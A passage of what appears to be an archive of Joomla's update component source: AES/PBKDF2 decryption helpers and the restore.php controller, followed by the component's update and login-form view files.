			$rightStringLimit -= 68;

			$key          = self::pbkdf2($password, $salt, $algorithm, $iterations, $keySizeBytes);
		}
		elseif ($useStaticSalt)
		{
			// We have a static salt. Use it for PBKDF2.
			$key = self::getStaticSaltExpandedKey($password);
		}
		else
		{
			// Get the expanded key from the password. THIS USES THE OLD, INSECURE METHOD.
			$key = self::expandKey($password);
		}

		// Try to get the IV from the data
		$iv               = substr($ciphertext, -24, 20);

		if (substr($iv, 0, 4) == 'JPIV')
		{
			// We have a stored IV. Retrieve it and tell mdecrypt to process the string minus the last 24 bytes
			// (4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the uncompressed string length)
			$iv               = substr($iv, 4);
			$rightStringLimit -= 20;
		}
		else
		{
			// No stored IV. Do it the dumb way.
			$iv = self::createTheWrongIV($password);
		}

		// Decrypt
		$plaintext = $adapter->decrypt($iv . substr($ciphertext, 0, $rightStringLimit), $key);

		// Trim padding, if necessary
		if (strlen($plaintext) > $data_size)
		{
			$plaintext = substr($plaintext, 0, $data_size);
		}

		return $plaintext;
	}

	/**
	 * That's the old way of creating an IV that's definitely not cryptographically sound.
	 *
	 * DO NOT USE, EVER, UNLESS YOU WANT TO DECRYPT LEGACY DATA
	 *
	 * @param   string $password The raw password from which we create an IV in a super bozo way
	 *
	 * @return  string  A 16-byte IV string
	 */
	public static function createTheWrongIV($password)
	{
		static $ivs = array();

		$key = md5($password);

		if (!isset($ivs[$key]))
		{
			$nBytes  = 16;  // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
			$pwBytes = array();
			for ($i = 0; $i < $nBytes; $i++)
			{
				$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
			}
			$iv    = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
			$newIV = '';
			foreach ($iv as $int)
			{
				$newIV .= chr($int);
			}

			$ivs[$key] = $newIV;
		}

		return $ivs[$key];
	}

	/**
	 * Expand the password to an appropriate 128-bit encryption key
	 *
	 * @param   string $password
	 *
	 * @return  string
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public static function expandKey($password)
	{
		// Try to fetch cached key or create it if it doesn't exist
		$nBits     = 128;
		$lookupKey = md5($password . '-' . $nBits);

		if (array_key_exists($lookupKey, self::$passwords))
		{
			$key = self::$passwords[$lookupKey];

			return $key;
		}

		// use AES itself to encrypt password to get cipher key (using plain password as source for
		// key expansion) - gives us well encrypted key.
		$nBytes  = $nBits / 8; // Number of bytes in key
		$pwBytes = array();

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key    = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
		$key    = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long
		$newKey = '';

		foreach ($key as $int)
		{
			$newKey .= chr($int);
		}

		$key = $newKey;

		self::$passwords[$lookupKey] = $key;

		return $key;
	}

	/**
	 * Returns the correct AES-128 CBC encryption adapter
	 *
	 * @return  AKEncryptionAESAdapterInterface
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public static function getAdapter()
	{
		static $adapter = null;

		if (is_object($adapter) && ($adapter instanceof AKEncryptionAESAdapterInterface))
		{
			return $adapter;
		}

		$adapter = new OpenSSL();

		if (!$adapter->isSupported())
		{
			$adapter = new Mcrypt();
		}

		return $adapter;
	}

	/**
	 * @return string
	 */
	public static function getPbkdf2Algorithm()
	{
		return self::$pbkdf2Algorithm;
	}

	/**
	 * @param string $pbkdf2Algorithm
	 * @return void
	 */
	public static function setPbkdf2Algorithm($pbkdf2Algorithm)
	{
		self::$pbkdf2Algorithm = $pbkdf2Algorithm;
	}

	/**
	 * @return int
	 */
	public static function getPbkdf2Iterations()
	{
		return self::$pbkdf2Iterations;
	}

	/**
	 * @param int $pbkdf2Iterations
	 * @return void
	 */
	public static function setPbkdf2Iterations($pbkdf2Iterations)
	{
		self::$pbkdf2Iterations = $pbkdf2Iterations;
	}

	/**
	 * @return int
	 */
	public static function getPbkdf2UseStaticSalt()
	{
		return self::$pbkdf2UseStaticSalt;
	}

	/**
	 * @param int $pbkdf2UseStaticSalt
	 * @return void
	 */
	public static function setPbkdf2UseStaticSalt($pbkdf2UseStaticSalt)
	{
		self::$pbkdf2UseStaticSalt = $pbkdf2UseStaticSalt;
	}

	/**
	 * @return string
	 */
	public static function getPbkdf2StaticSalt()
	{
		return self::$pbkdf2StaticSalt;
	}

	/**
	 * @param string $pbkdf2StaticSalt
	 * @return void
	 */
	public static function setPbkdf2StaticSalt($pbkdf2StaticSalt)
	{
		self::$pbkdf2StaticSalt = $pbkdf2StaticSalt;
	}

	/**
	 * Get the parameters fed into PBKDF2 to expand the user password into an encryption key. These are the static
	 * parameters (key size, hashing algorithm and number of iterations). A new salt is used for each encryption block
	 * to minimize the risk of attacks against the password.
	 *
	 * @return  array
	 */
	public static function getKeyDerivationParameters()
	{
		return array(
			'keySize'       => 16,
			'algorithm'     => self::$pbkdf2Algorithm,
			'iterations'    => self::$pbkdf2Iterations,
			'useStaticSalt' => self::$pbkdf2UseStaticSalt,
			'staticSalt'    => self::$pbkdf2StaticSalt,
		);
	}

	/**
	 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
	 *
	 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
	 *
	 * This implementation of PBKDF2 was originally created by https://defuse.ca
	 * With improvements by http://www.variations-of-shadow.com
	 * Modified for Akeeba Engine by Akeeba Ltd (removed unnecessary checks to make it faster)
	 *
	 * @param   string  $password    The password.
	 * @param   string  $salt        A salt that is unique to the password.
	 * @param   string  $algorithm   The hash algorithm to use. Default is sha1.
	 * @param   int     $count       Iteration count. Higher is better, but slower. Default: 1000.
	 * @param   int     $key_length  The length of the derived key in bytes.
	 *
	 * @return  string  A string of $key_length bytes
	 */
	public static function pbkdf2($password, $salt, $algorithm = 'sha1', $count = 1000, $key_length = 16)
	{
		if (function_exists("hash_pbkdf2"))
		{
			return hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, true);
		}

		$hash_length = akstringlen(hash($algorithm, "", true));
		$block_count = ceil($key_length / $hash_length);

		$output = "";

		for ($i = 1; $i <= $block_count; $i++)
		{
			// $i encoded as 4 bytes, big endian.
			$last = $salt . pack("N", $i);

			// First iteration
			$xorResult = hash_hmac($algorithm, $last, $password, true);
			$last      = $xorResult;

			// Perform the other $count - 1 iterations
			for ($j = 1; $j < $count; $j++)
			{
				$last = hash_hmac($algorithm, $last, $password, true);
				$xorResult ^= $last;
			}

			$output .= $xorResult;
		}

		return aksubstr($output, 0, $key_length);
	}

	/**
	 * Get the expanded key from the user supplied password using a static salt. The results are cached for performance
	 * reasons.
	 *
	 * @param   string  $password  The user-supplied password, UTF-8 encoded.
	 *
	 * @return  string  The expanded key
	 */
	private static function getStaticSaltExpandedKey($password)
	{
		$params        = self::getKeyDerivationParameters();
		$keySizeBytes  = $params['keySize'];
		$algorithm     = $params['algorithm'];
		$iterations    = $params['iterations'];
		$staticSalt    = $params['staticSalt'];

		$lookupKey = "PBKDF2-$algorithm-$iterations-" . md5($password . $staticSalt);

		if (!array_key_exists($lookupKey, self::$passwords))
		{
			self::$passwords[$lookupKey] = self::pbkdf2($password, $staticSalt, $algorithm, $iterations, $keySizeBytes);
		}

		return self::$passwords[$lookupKey];
	}

}

/**
 * The Master Setup will read the configuration parameters from restoration.php or
 * the JSON-encoded "configuration" input variable and return the status.
 *
 * @return bool True if the master configuration was applied to the Factory object
 */
function masterSetup()
{
	// ------------------------------------------------------------
	// 1. Import basic setup parameters
	// ------------------------------------------------------------

	$ini_data = null;

	// Require restoration.php or fail
	$setupFile = 'restoration.php';

	if (!file_exists($setupFile))
	{
		AKFactory::set('kickstart.enabled', false);

		return false;
	}

	// Load restoration.php. It creates a global variable named $restoration_setup
	require_once $setupFile;

	/** @var array $restoration_setup This is defined in the restoration.php file */
	$ini_data = $restoration_setup;

	if (empty($ini_data))
	{
		// No parameters fetched. Darn, how am I supposed to work like that?!
		AKFactory::set('kickstart.enabled', false);

		return false;
	}

	AKFactory::set('kickstart.enabled', true);

	// Import any data from the $restoration_setup array read from restoration.php
	if (!empty($ini_data))
	{
		foreach ($ini_data as $key => $value)
		{
			AKFactory::set($key, $value);
		}
		AKFactory::set('kickstart.enabled', true);
	}

	// Reinitialize $ini_data
	$ini_data = null;

	// ------------------------------------------------------------
	// 2. Explode JSON parameters into $_REQUEST scope
	// ------------------------------------------------------------

	// Detect a JSON string in the request variable and store it.
	$json = getQueryParam('json', null);

	// Remove everything from the request, post and get arrays
	if (!empty($_REQUEST))
	{
		foreach ($_REQUEST as $key => $value)
		{
			unset($_REQUEST[$key]);
		}
	}

	if (!empty($_POST))
	{
		foreach ($_POST as $key => $value)
		{
			unset($_POST[$key]);
		}
	}

	if (!empty($_GET))
	{
		foreach ($_GET as $key => $value)
		{
			unset($_GET[$key]);
		}
	}

	// Decrypt a possibly encrypted JSON string
	$password = AKFactory::get('kickstart.security.password', null);

	if (!empty($json))
	{
		if (!empty($password))
		{
			$json = AKEncryptionAES::AESDecryptCtr($json, $password, 128);

			if (empty($json))
			{
				die('###{"status":false,"message":"Invalid login"}###');
			}
		}

		// Get the raw data
		$raw = json_decode($json, true);

		if (!empty($password) && (empty($raw)))
		{
			die('###{"status":false,"message":"Invalid login"}###');
		}

		// Pass all JSON data to the request array
		if (!empty($raw))
		{
			foreach ($raw as $key => $value)
			{
				$_REQUEST[$key] = $value;
			}
		}
	}
	elseif (!empty($password))
	{
		die('###{"status":false,"message":"Invalid login"}###');
	}

	// ------------------------------------------------------------
	// 3. Try the "factory" variable
	// ------------------------------------------------------------
	// A "factory" variable will override all other settings.
	$serialized = getQueryParam('factory', null);

	if (!is_null($serialized))
	{
		// Get the serialized factory
		AKFactory::unserialize($serialized);
		AKFactory::set('kickstart.enabled', true);

		return true;
	}

	return AKFactory::get('kickstart.enabled', false);
}

// Mini-controller for restore.php
if (!defined('KICKSTART'))
{
	// The observer class, used to report number of files and bytes processed
	class RestorationObserver extends AKAbstractPartObserver
	{
		public $compressedTotal = 0;
		public $uncompressedTotal = 0;
		public $filesProcessed = 0;

		public function update($object, $message)
		{
			if (!is_object($message))
			{
				return;
			}

			if (!array_key_exists('type', get_object_vars($message)))
			{
				return;
			}

			if ($message->type == 'startfile')
			{
				$this->filesProcessed++;
				$this->compressedTotal += $message->content->compressed;
				$this->uncompressedTotal += $message->content->uncompressed;
			}
		}

		public function __toString()
		{
			return __CLASS__;
		}

	}

	// Import configuration
	masterSetup();

	$retArray = array(
		'status'  => true,
		'message' => null
	);

	$enabled = AKFactory::get('kickstart.enabled', false);

	if ($enabled)
	{
		$task = getQueryParam('task');

		switch ($task)
		{
			case 'ping':
				// ping task - really does nothing!
				$timer = AKFactory::getTimer();
				$timer->enforce_min_exec_time();
				break;

			/**
			 * There are two separate steps here since we were using an inefficient restoration intialization method in
			 * the past. Now both startRestore and stepRestore are identical. The difference in behavior depends
			 * exclusively on the calling Javascript. If no serialized factory was passed in the request then we start a
			 * new restoration. If a serialized factory was passed in the request then the restoration is resumed. For
			 * this reason we should NEVER call AKFactory::nuke() in startRestore anymore: that would simply reset the
			 * extraction engine configuration which was done in masterSetup() leading to an error about the file being
			 * invalid (since no file is found).
			 */
			case 'startRestore':
			case 'stepRestore':
				$engine   = AKFactory::getUnarchiver(); // Get the engine
				$observer = new RestorationObserver(); // Create a new observer
				$engine->attach($observer); // Attach the observer
				$engine->tick();
				$ret = $engine->getStatusArray();

				if ($ret['Error'] != '')
				{
					$retArray['status']  = false;
					$retArray['done']    = true;
					$retArray['message'] = $ret['Error'];
				}
				elseif (!$ret['HasRun'])
				{
					$retArray['files']    = $observer->filesProcessed;
					$retArray['bytesIn']  = $observer->compressedTotal;
					$retArray['bytesOut'] = $observer->uncompressedTotal;
					$retArray['status']   = true;
					$retArray['done']     = true;
				}
				else
				{
					$retArray['files']    = $observer->filesProcessed;
					$retArray['bytesIn']  = $observer->compressedTotal;
					$retArray['bytesOut'] = $observer->uncompressedTotal;
					$retArray['status']   = true;
					$retArray['done']     = false;
					$retArray['factory']  = AKFactory::serialize();
				}
				break;

			case 'finalizeRestore':
				$root = AKFactory::get('kickstart.setup.destdir');
				// Remove the installation directory
				recursive_remove_directory($root . '/installation');

				$postproc = AKFactory::getPostProc();

				/**
				 * Should I rename the htaccess.bak and web.config.bak files back to their live filenames...?
				 */
				$renameFiles = AKFactory::get('kickstart.setup.postrenamefiles', true);

				if ($renameFiles)
				{
					// Rename htaccess.bak to .htaccess
					if (file_exists($root . '/htaccess.bak'))
					{
						if (file_exists($root . '/.htaccess'))
						{
							$postproc->unlink($root . '/.htaccess');
						}
						$postproc->rename($root . '/htaccess.bak', $root . '/.htaccess');
					}

					// Rename htaccess.bak to .htaccess
					if (file_exists($root . '/web.config.bak'))
					{
						if (file_exists($root . '/web.config'))
						{
							$postproc->unlink($root . '/web.config');
						}
						$postproc->rename($root . '/web.config.bak', $root . '/web.config');
					}
				}

				// Remove restoration.php
				$basepath = KSROOTDIR;
				$basepath = rtrim(str_replace('\\', '/', $basepath), '/');
				if (!empty($basepath))
				{
					$basepath .= '/';
				}
				$postproc->unlink($basepath . 'restoration.php');

				// Import a custom finalisation file
				$filename = dirname(__FILE__) . '/restore_finalisation.php';
				if (file_exists($filename))
				{
					// We cannot use the Filesystem API here.
					if (ini_get('opcache.enable')
						&& function_exists('opcache_invalidate')
						&& (!ini_get('opcache.restrict_api') || stripos(realpath($_SERVER['SCRIPT_FILENAME']), ini_get('opcache.restrict_api')) === 0)
					)
					{
						\opcache_invalidate($filename, true);
					}
					if (function_exists('apc_compile_file'))
					{
						\apc_compile_file($filename);
					}
					if (function_exists('wincache_refresh_if_changed'))
					{
						\wincache_refresh_if_changed(array($filename));
					}
					if (function_exists('xcache_asm'))
					{
						xcache_asm($filename);
					}
					include_once $filename;
				}

				// Run a custom finalisation script
				if (function_exists('finalizeRestore'))
				{
					finalizeRestore($root, $basepath);
				}
				break;

			default:
				// Invalid task!
				$enabled = false;
				break;
		}
	}

	// Maybe we weren't authorized or the task was invalid?
	if (!$enabled)
	{
		// Maybe the user failed to enter any information
		$retArray['status']  = false;
		$retArray['message'] = AKText::_('ERR_INVALID_LOGIN');
	}

	// JSON encode the message
	$json = json_encode($retArray);
	// Do I have to encrypt?
	$password = AKFactory::get('kickstart.security.password', null);
	if (!empty($password))
	{
		$json = AKEncryptionAES::AESEncryptCtr($json, $password, 128);
	}

	// Return the message
	echo "###$json###";

}

// ------------ lixlpixel recursive PHP functions -------------
// recursive_remove_directory( directory to delete, empty )
// expects path to directory and optional TRUE / FALSE to empty
// of course PHP has to have the rights to delete the directory
// you specify and all files and folders inside the directory
// ------------------------------------------------------------
function recursive_remove_directory($directory)
{
	// if the path has a slash at the end we remove it here
	if (substr($directory, -1) == '/')
	{
		$directory = substr($directory, 0, -1);
	}
	// if the path is not valid or is not a directory ...
	if (!file_exists($directory) || !is_dir($directory))
	{
		// ... we return false and exit the function
		return false;
		// ... if the path is not readable
	}
	elseif (!is_readable($directory))
	{
		// ... we return false and exit the function
		return false;
		// ... else if the path is readable
	}
	else
	{
		// we open the directory
		$handle   = opendir($directory);
		$postproc = AKFactory::getPostProc();
		// and scan through the items inside
		while (false !== ($item = readdir($handle)))
		{
			// if the filepointer is not the current directory
			// or the parent directory
			if ($item != '.' && $item != '..')
			{
				// we build the new path to delete
				$path = $directory . '/' . $item;
				// if the new path is a directory
				if (is_dir($path))
				{
					// we call this function with the new path
					recursive_remove_directory($path);
					// if the new path is a file
				}
				else
				{
					// we remove the file
					$postproc->unlink($path);
				}
			}
		}
		// close the directory
		closedir($handle);
		// try to delete the now empty directory
		if (!$postproc->rmdir($directory))
		{
			// return false if not possible
			return false;
		}

		// return success
		return true;
	}
}
com_joomlaupdate/views/update/view.html.php000060400000001565152455305270015146 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Update's Update View
 *
 * @since  2.5.4
 */
class JoomlaupdateViewUpdate extends JViewLegacy
{
	/**
	 * Renders the view.
	 *
	 * @param   string  $tpl  Template name.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		// Set the toolbar information.
		JToolbarHelper::title(JText::_('COM_JOOMLAUPDATE_OVERVIEW'), 'loop install');

		// Import com_login's model
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_login/models', 'LoginModel');

		// Render the view.
		parent::display($tpl);
	}
}
com_joomlaupdate/views/update/tmpl/finaliseconfirm.php000060400000007177152455305270017362 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('bootstrap.tooltip');

$twofactormethods = JAuthenticationHelper::getTwoFactorMethods();

?>

<div class="alert alert-warning">
	<h4 class="alert-heading">
		<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_FINALISE_HEAD'); ?>
	</h4>
	<p>
		<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_UPDATE_FINALISE_HEAD_DESC', JFactory::getConfig()->get('sitename')); ?>
	</p>
</div>

<hr/>

<form action="<?php echo JRoute::_('index.php', true); ?>" method="post" id="form-login" class="form-inline center">
	<fieldset class="loginform">
		<div class="control-group">
			<div class="controls">
				<div class="input-prepend input-append">
					<span class="add-on">
						<span class="icon-user hasTooltip" title="<?php echo JText::_('JGLOBAL_USERNAME'); ?>" aria-hidden="true"></span>
						<label for="mod-login-username" class="element-invisible">
							<?php echo JText::_('JGLOBAL_USERNAME'); ?>
						</label>
					</span>
					<input name="username" tabindex="1" id="mod-login-username" type="text" class="input-medium" placeholder="<?php echo JText::_('JGLOBAL_USERNAME'); ?>" size="15" autofocus="true" />
				</div>
			</div>
		</div>
		<div class="control-group">
			<div class="controls">
				<div class="input-prepend input-append">
					<span class="add-on">
						<span class="icon-lock hasTooltip" title="<?php echo JText::_('JGLOBAL_PASSWORD'); ?>" aria-hidden="true"></span>
						<label for="mod-login-password" class="element-invisible">
							<?php echo JText::_('JGLOBAL_PASSWORD'); ?>
						</label>
					</span>
					<input name="passwd" tabindex="2" id="mod-login-password" type="password" class="input-medium" placeholder="<?php echo JText::_('JGLOBAL_PASSWORD'); ?>" size="15"/>
				</div>
			</div>
		</div>
		<?php if (count($twofactormethods) > 1) : ?>
			<div class="control-group">
				<div class="controls">
					<div class="input-prepend input-append">
						<span class="add-on">
							<span class="icon-star hasTooltip" title="<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>" aria-hidden="true"></span>
							<label for="mod-login-secretkey" class="element-invisible">
								<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>
							</label>
						</span>
						<input name="secretkey" autocomplete="one-time-code" tabindex="3" id="mod-login-secretkey" type="text" class="input-medium" placeholder="<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>" size="15"/>
						<span class="btn width-auto hasTooltip" title="<?php echo JText::_('JGLOBAL_SECRETKEY_HELP'); ?>">
							<span class="icon-help" aria-hidden="true"></span>
						</span>
					</div>
				</div>
			</div>
		<?php endif; ?>
		<div class="control-group">
			<div class="controls">
				<div class="btn-group">
					<a tabindex="4" class="btn btn-danger btn-small" href="index.php?option=com_joomlaupdate">
						<span class="icon-cancel icon-white" aria-hidden="true"></span> <?php echo JText::_('JCANCEL'); ?>
					</a>
				</div>
				<div class="btn-group">
					<button tabindex="5" class="btn btn-primary btn-large">
						<span class="icon-play icon-white" aria-hidden="true"></span> <?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_FINALISE_CONFIRM_AND_CONTINUE'); ?>
					</button>
				</div>
			</div>
		</div>

		<input type="hidden" name="option" value="com_joomlaupdate"/>
		<input type="hidden" name="task" value="update.finaliseconfirm" />
		<?php echo JHtml::_('form.token'); ?>
	</fieldset>
</form>
com_joomlaupdate/views/update/tmpl/default.php000060400000004533152455305270015627 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include jQuery.
JHtml::_('jquery.framework');

// Load the scripts
JHtml::_('script', 'com_joomlaupdate/json2.js', array('version' => 'auto', 'relative' => true));
JHtml::_('script', 'com_joomlaupdate/encryption.js', array('version' => 'auto', 'relative' => true));
JHtml::_('script', 'com_joomlaupdate/update.js', array('version' => 'auto', 'relative' => true));

$password = JFactory::getApplication()->getUserState('com_joomlaupdate.password', null);
$filesize = JFactory::getApplication()->getUserState('com_joomlaupdate.filesize', null);
$ajaxUrl = JUri::base() . 'components/com_joomlaupdate/restore.php';
$returnUrl = 'index.php?option=com_joomlaupdate&task=update.finalise&' . JFactory::getSession()->getFormToken() . '=1';

JFactory::getDocument()->addScriptDeclaration(
	"
	var joomlaupdate_password = '$password';
	var joomlaupdate_totalsize = '$filesize';
	var joomlaupdate_ajax_url = '$ajaxUrl';
	var joomlaupdate_return_url = '$returnUrl';

	jQuery(document).ready(function(){
		window.pingExtract();
		});
	"
);
?>

<p class="nowarning"><?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_INPROGRESS'); ?></p>

<div id="update-progress">
	<div id="extprogress">
		<div id="progress" class="progress progress-striped active">
			<div id="progress-bar" class="bar bar-success" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100"></div>
		</div>
		<div class="extprogrow">
			<span class="extlabel"><?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_PERCENT'); ?></span>
			<span class="extvalue" id="extpercent"></span>
		</div>
		<div class="extprogrow">
			<span class="extlabel"><?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESREAD'); ?></span>
			<span class="extvalue" id="extbytesin"></span>
		</div>
		<div class="extprogrow">
			<span class="extlabel"><?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESEXTRACTED'); ?></span>
			<span class="extvalue" id="extbytesout"></span>
		</div>
		<div class="extprogrow">
			<span class="extlabel"><?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_FILESEXTRACTED'); ?></span>
			<span class="extvalue" id="extfiles"></span>
		</div>
	</div>
</div>
com_joomlaupdate/views/upload/tmpl/captive.php000060400000007110152455305270015632 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('bootstrap.tooltip');

$twofactormethods = JAuthenticationHelper::getTwoFactorMethods();

?>
<div class="alert alert-warning">
	<h4 class="alert-heading">
		<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPLOAD_CAPTIVE_INTRO_HEAD'); ?>
	</h4>
	<p>
		<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_CAPTIVE_INTRO_BODY', JFactory::getConfig()->get('sitename')); ?>
	</p>
</div>

<hr/>

<form action="<?php echo JRoute::_('index.php', true); ?>" method="post" id="form-login" class="form-inline center">
	<fieldset class="loginform">
		<div class="control-group">
			<div class="controls">
				<div class="input-prepend input-append">
					<span class="add-on">
						<span class="icon-user hasTooltip" title="<?php echo JText::_('JGLOBAL_USERNAME'); ?>" aria-hidden="true"></span>
						<label for="mod-login-username" class="element-invisible">
							<?php echo JText::_('JGLOBAL_USERNAME'); ?>
						</label>
					</span>
					<input name="username" tabindex="1" id="mod-login-username" type="text" class="input-medium" placeholder="<?php echo JText::_('JGLOBAL_USERNAME'); ?>" size="15" autofocus="true" />
				</div>
			</div>
		</div>
		<div class="control-group">
			<div class="controls">
				<div class="input-prepend input-append">
					<span class="add-on">
						<span class="icon-lock hasTooltip" title="<?php echo JText::_('JGLOBAL_PASSWORD'); ?>" aria-hidden="true"></span>
						<label for="mod-login-password" class="element-invisible">
							<?php echo JText::_('JGLOBAL_PASSWORD'); ?>
						</label>
					</span>
					<input name="passwd" tabindex="2" id="mod-login-password" type="password" class="input-medium" placeholder="<?php echo JText::_('JGLOBAL_PASSWORD'); ?>" size="15"/>
				</div>
			</div>
		</div>
		<?php if (count($twofactormethods) > 1) : ?>
			<div class="control-group">
				<div class="controls">
					<div class="input-prepend input-append">
						<span class="add-on">
							<span class="icon-star hasTooltip" title="<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>" aria-hidden="true"></span>
							<label for="mod-login-secretkey" class="element-invisible">
								<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>
							</label>
						</span>
						<input name="secretkey" autocomplete="one-time-code" tabindex="3" id="mod-login-secretkey" type="text" class="input-medium" placeholder="<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>" size="15"/>
						<span class="btn width-auto hasTooltip" title="<?php echo JText::_('JGLOBAL_SECRETKEY_HELP'); ?>">
							<span class="icon-help" aria-hidden="true"></span>
						</span>
					</div>
				</div>
			</div>
		<?php endif; ?>
		<div class="control-group">
			<div class="controls">
				<div class="btn-group">
					<a tabindex="4" class="btn btn-danger" href="index.php?option=com_joomlaupdate">
						<span class="icon-cancel icon-white" aria-hidden="true"></span> <?php echo JText::_('JCANCEL'); ?>
					</a>
				</div>
				<div class="btn-group">
					<button tabindex="5" class="btn btn-primary">
						<span class="icon-play icon-white" aria-hidden="true"></span> <?php echo JText::_('COM_INSTALLER_INSTALL_BUTTON'); ?>
					</button>
				</div>
			</div>
		</div>

		<input type="hidden" name="option" value="com_joomlaupdate"/>
		<input type="hidden" name="task" value="update.confirm"/>
		<?php echo JHtml::_('form.token'); ?>
	</fieldset>
</form>
com_joomlaupdate/views/upload/view.html.php000060400000002201152455305270015134 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Update's Update View
 *
 * @since  3.6.0
 */
class JoomlaupdateViewUpload extends JViewLegacy
{
	/**
	 * Renders the view.
	 *
	 * @param   string  $tpl  Template name.
	 *
	 * @return  void
	 *
	 * @since   3.6.0
	 */
	public function display($tpl = null)
	{
		// Set the toolbar information.
		JToolbarHelper::title(JText::_('COM_JOOMLAUPDATE_OVERVIEW'), 'loop install');
		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_JOOMLA_UPDATE');

		// Load com_installer's language
		$language = JFactory::getLanguage();
		$language->load('com_installer', JPATH_ADMINISTRATOR, 'en-GB', false, true);
		$language->load('com_installer', JPATH_ADMINISTRATOR, null, true);

		// Import com_login's model
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_login/models', 'LoginModel');

		// Render the view.
		parent::display($tpl);
	}
}
com_joomlaupdate/views/default/view.html.php000060400000017227152455305270015312 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Update's Default View
 *
 * @since  2.5.4
 */
class JoomlaupdateViewDefault extends JViewLegacy
{
	/**
	 * An array with the Joomla! update information.
	 *
	 * @var    array
	 *
	 * @since  3.6.0
	 */
	protected $updateInfo = null;

	/**
	 * The form field for the extraction select
	 *
	 * @var    string
	 *
	 * @since  3.6.0
	 */
	protected $methodSelect = null;

	/**
	 * The form field for the upload select
	 *
	 * @var   string
	 *
	 * @since  3.6.0
	 */
	protected $methodSelectUpload = null;

	/**
	 * PHP options.
	 *
	 * @var   array  Array of PHP config options
	 *
	 * @since 3.10.0
	 */
	protected $phpOptions = null;

	/**
	 * PHP settings.
	 *
	 * @var   array  Array of PHP settings
	 *
	 * @since 3.10.0
	 */
	protected $phpSettings = null;

	/**
	 * Non Core Extensions.
	 *
	 * @var   array  Array of Non-Core-Extensions
	 *
	 * @since 3.10.0
	 */
	protected $nonCoreExtensions = null;

	/**
	 * Renders the view
	 *
	 * @param   string  $tpl  Template name
	 *
	 * @return void
	 *
	 * @since  2.5.4
	 */
	public function display($tpl = null)
	{
		// Get data from the model.
		$this->state = $this->get('State');

		// Load useful classes.
		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel();
		$this->loadHelper('select');

		// Assign view variables.
		$this->ftp     = $model->getFTPOptions();
		$defaultMethod = $this->ftp['enabled'] ? 'hybrid' : 'direct';

		$this->updateInfo         = $model->getUpdateInformation();
		$this->methodSelect       = JoomlaupdateHelperSelect::getMethods($defaultMethod);
		$this->methodSelectUpload = JoomlaupdateHelperSelect::getMethods($defaultMethod, 'method', 'upload_method');

		// Get results of pre update check evaluations
		$this->phpOptions             = $model->getPhpOptions();
		$this->phpSettings            = $model->getPhpSettings();
		$this->nonCoreExtensions      = $model->getNonCoreExtensions();
		$this->isBackendTemplateIsis  = (bool) $model->isTemplateActive('isis');

		// Disable the critical plugins check for non-major updates.
		$this->nonCoreCriticalPlugins = array();

